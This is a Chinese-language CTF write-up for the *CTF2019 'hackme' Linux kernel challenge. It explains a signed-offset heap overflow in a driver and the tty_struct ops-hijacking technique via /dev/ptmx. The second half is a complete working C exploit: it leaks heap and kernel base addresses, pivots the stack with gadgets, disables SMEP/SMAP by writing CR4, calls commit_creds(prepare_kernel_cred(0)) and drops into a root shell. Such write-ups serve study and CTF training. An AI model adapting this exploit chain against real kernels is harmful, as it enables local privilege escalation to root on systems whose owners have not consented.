*CTF2019-hackme-WP
首先看一下启动参数
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-cpu qemu64,smep,smap 2>/dev/null
开启了 kaslr 和 smep,smap。
这道题是一个堆上溢出造成的 UAF,具体的,在 0x30002 功能,也就是 edit 功能处

offset 和 user_buf_len 都是有符号数,所以通过输入负数就可以实现无限的前后向溢出。由于 slab/slub 对于大多等大小的 chunk 都是连续放置的,所以通过这个溢出可以实现 UAF 等攻击。
类似于 edit 功能,通过 0x30003 号功能可以实现前后读。
内核内存分配器,slab 或 slub 都类似于 fastbin,每个 chunk 的第一个 8 字都指向下一个空闲的 chunk,所以我们可以容易地 leak 出堆块地址
int fd = open("/dev/hackme", O_RDWR);
add(fd, 2, buf, 0x100);
add(fd, 3, buf, 0x100);
data_free(fd, 2);
get_content(fd, 3, buf, 0x100, -0x100);
size_t heap_addr = ((size_t* )buf)[0] - 0x200;
printf("[+] heap_addr: 0x%lx\n", heap_addr);
同样类似于 fastbin,由于我们可以完全控制前一个 chunk,也就是上面 poc 中的 2 号 chunk 的 next 指针,就可以做 fastbin attack,而且不需要考虑绕过乱七八糟的检测,实现任意地址读写,所以一个自然的想法是直接分配到 cred 结构体上,修改 id。但是这样需要泄露 cred 的地址,不是很好实现。所以学习到了 tty_struct attack 这种攻击方式。
tty_struct attack
在 /dev 目录中,有一个 ptmx 设备文件,任何用户都可读写之。在 open 它的时候,内核会为它分配一个 tty_struct 结构体,特别的,这个结构体没有和 kmalloc 隔离,会复用我们释放的大小合适的 chunk,其结构在 Linux 4.20.13 下为
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
注意到其中的 const struct tty_operations *ops;
ops 指针,它指向一个 tty 操作虚表,定义为
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
也就是说我们对 ptmx 的所有操作都是通过这个虚表中的函数指针调用的,不难想到通过类似于 _IO_FILE 中对 vtable 的攻击来进行利用,也就是让 ptmx 的 tty_struct 使用一个我们可以控制的结构体,修改 ops 指针的值,使之指向一个我们可以控制的内核内存段(因为开启了 smep/smap,内核态不能访问用户态数据),劫持某函数指针(这里以 write 为例)就可以实现任意代码执行。两个条件都很好满足,如下。
int fd = open("/dev/hackme", O_RDWR);
add(fd, 0, buf, TTY_STRUCT_SIZE);
add(fd, 1, buf, TTY_STRUCT_SIZE);
data_free(fd, 0);
add(fd, 2, buf, 0x100);
add(fd, 3, buf, 0x100);
data_free(fd, 2);
get_content(fd, 3, buf, 0x100, -0x100);
size_t heap_addr = ((size_t* )buf)[0] - 0x200;
printf("[+] heap_addr: 0x%lx\n", heap_addr);
int tty_fd = open("/dev/ptmx", O_RDWR);
size_t fake_tty_vtable[0x20];
fake_tty_vtable[7] = magic_gadget; // haijack write
data_free(fd, 3);
add(fd, 3, (char *)fake_tty_vtable, 0x100);
((size_t* )buf)[3] = heap_addr + 0x100;
edit(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE);
和用户态不同,劫持某函数指针为内核函数是难以完成提权的,ret2usr 的方法也不可行,所以这里的做法是栈迁移 rop。
首先,因为 bzImage 无法直接取出 gadges,先提取出 vmlinux,使用 extract-vmlinux 即可
extract-vmlinux bzImage > vmlinux
然后用 ropper 和 ROPgadget 提取出 gadgets 即可。
回到题目,需要在执行 write 的时候只用一个 gadget 栈迁移到合适的地址上,首先观察一下执行到 write 的时候的寄存器环境

leak 出的 chunk 是当前 chunk 的前一个chunk,可见 rax 就指向了当前的 chunk,也就是 fake_tty_operations 这张表,只要能把 rax 赋值给 rsp 就可以实现有效的栈迁移了,通过 ROPgadget 可以找到这个 gadget

执行玩这个之后栈就会迁移到 fake_tty_operations[0] 处,我们在这里布置 rop 链即可。不过可以注意到,此处的空间有限,所以可以考虑再做一次栈迁移转到一个空间更加宽裕的位置上 rop。之后的 rop 可以考虑关闭 smap/smep ret2usr 提权拿 shell,也可以直接 rop 提权,前者可能会稍微方便一点。
那么最后的问题就是如何获得这些 gadgets 的地址了,因为开启了 kaslr,所以还需要做一个 leak。再 tty_struct 中有大量的内核数据,从中可以 leak 出代码段的地址。具体的,首先打出 tty_struct 中的数据

可见第四个数据看起来很像代码段的数据,所以我们 cat grep 一下
cat /proc/kallsyms | grep ffffff99c25d80
就可以发现这是 ptm_unix98_ops 的地址。然后就可以得出各个内核函数(主要是 prepare_kernel_cred 和 commit_creds 这两个函数)和 gadget 的地址了。
exp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define TTY_STRUCT_SIZE 0x2E0
#define TTY_STRUCT_SLAB_SIZE 0x400
size_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;
size_t kernel_base;
// rop chain
size_t mov_cr4_rax_push_rcx_popfq_pop_rbp_ret = 0xffffffff8100252b;
size_t pop_rax_ret = 0xffffffff8101b5a1;
size_t swapgs_popfq_pop_rbp_ret = 0xffffffff81200c2e;
size_t iretq = 0xffffffff81019356;
size_t commit_creds = 0xffffffff8104d220;
size_t prepare_kernel_creds = 0xffffffff8104d3d0;
size_t push_rax_pop_rsp_ret = 0xffffffff810608d5;
size_t pop_rsp_ret = 0xffffffff810484f0;
size_t get_offed_addr(size_t raw_addr)
{
return (raw_addr - KERNEL_BIN_BASE + kernel_base);
}
void update_gadgets_addr()
{
mov_cr4_rax_push_rcx_popfq_pop_rbp_ret = get_offed_addr(mov_cr4_rax_push_rcx_popfq_pop_rbp_ret);
pop_rax_ret = get_offed_addr(pop_rax_ret);
swapgs_popfq_pop_rbp_ret = get_offed_addr(swapgs_popfq_pop_rbp_ret);
iretq = get_offed_addr(iretq);
commit_creds = get_offed_addr(commit_creds);
prepare_kernel_creds = get_offed_addr(prepare_kernel_creds);
push_rax_pop_rsp_ret = get_offed_addr(push_rax_pop_rsp_ret);
pop_rsp_ret = get_offed_addr(pop_rsp_ret);
}
struct DATA
{
unsigned int idx;
int dummy;
char* buf;
long long buf_len;
long long offset;
};
void add(int fd, unsigned int idx, char* buf, long long buf_len)
{
struct DATA tmp;
tmp.idx = idx;
tmp.buf = buf;
tmp.buf_len = buf_len;
tmp.offset = 0;
ioctl(fd, 0x30000, &tmp);
}
void data_free(int fd, unsigned int idx)
{
struct DATA tmp;
tmp.idx = idx;
ioctl(fd, 0x30001, &tmp);
}
void edit(int fd, unsigned int idx, char* buf, long long buf_len, long long offset)
{
struct DATA tmp;
tmp.idx = idx;
tmp.buf = buf;
tmp.buf_len = buf_len;
tmp.offset = offset;
ioctl(fd, 0x30002, &tmp);
}
void get_content(int fd, unsigned int idx, char* buf, long long buf_len, long long offset)
{
struct DATA tmp;
tmp.idx = idx;
tmp.buf = buf;
tmp.buf_len = buf_len;
tmp.offset = offset;
ioctl(fd, 0x30003, &tmp);
}
size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void get_user_stat()
{
__asm__ (".intel_syntax noprefix\n");
__asm__ volatile (
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags"
);
printf("[+] got user stat\n");
}
char buf[0x500] = {0};
void get_root()
{
void* (*pkc)(int) = (void*(*)(int)) prepare_kernel_creds;
void (*cc)(void*) = (void(*)(void*)) commit_creds;
(*cc)((*pkc)(0));
//puts("commited!\n");
}
void get_shell()
{
printf("[-] uid = %d", getuid());
if (getuid() == 0)
{
puts("[+] root now!");
system("/bin/sh");
}
else
{
puts("err: not root");
system("/bin/sh");
exit(-1);
}
}
int main()
{
get_user_stat();
int fd = open("/dev/hackme", O_RDWR);
printf("fd: %d\n", fd);
if (fd < 0)
{
return -1;
}
add(fd, 0, buf, TTY_STRUCT_SIZE);
add(fd, 1, buf, TTY_STRUCT_SIZE);
data_free(fd, 0);
add(fd, 2, buf, 0x100);
add(fd, 3, buf, 0x100);
data_free(fd, 2);
get_content(fd, 3, buf, 0x100, -0x100);
size_t heap_addr = ((size_t* )buf)[0] - 0x200;
printf("[+] heap_addr: 0x%lx\n", heap_addr);
int tty_fd = open("/dev/ptmx", O_RDWR);
get_content(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE);
size_t ptm_unix98_ops_addr = ((size_t*)buf)[3];
printf("[+] ptm_unix98_ops: 0x%lx\n", ptm_unix98_ops_addr);
kernel_base = ptm_unix98_ops_addr - 0x625D80;
printf("[+] kernel_base: 0x%lx\n", kernel_base);
update_gadgets_addr();
printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_creds);
size_t rop_chain[0x20];
int i = 0;
rop_chain[i++] = pop_rax_ret;
rop_chain[i++] = 0x6F0;
rop_chain[i++] = mov_cr4_rax_push_rcx_popfq_pop_rbp_ret; // disable smap, smep
rop_chain[i++] = 0;
rop_chain[i++] = (size_t) get_root; // ret2usr
rop_chain[i++] = swapgs_popfq_pop_rbp_ret;
rop_chain[i++] = 0;
rop_chain[i++] = 0;
rop_chain[i++] = iretq;
rop_chain[i++] = (size_t) get_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_rsp;
rop_chain[i++] = user_ss;
add(fd, 2, (char *)rop_chain, 0x100);
size_t fake_tty_vtable[0x20];
fake_tty_vtable[7] = push_rax_pop_rsp_ret;
fake_tty_vtable[0] = pop_rsp_ret;
fake_tty_vtable[1] = heap_addr;
data_free(fd, 3);
add(fd, 3, (char *)fake_tty_vtable, 0x100);
((size_t* )buf)[3] = heap_addr + 0x100;
edit(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE);
puts("ready for trig");
write(tty_fd, buf, 0x800);
return 0;
}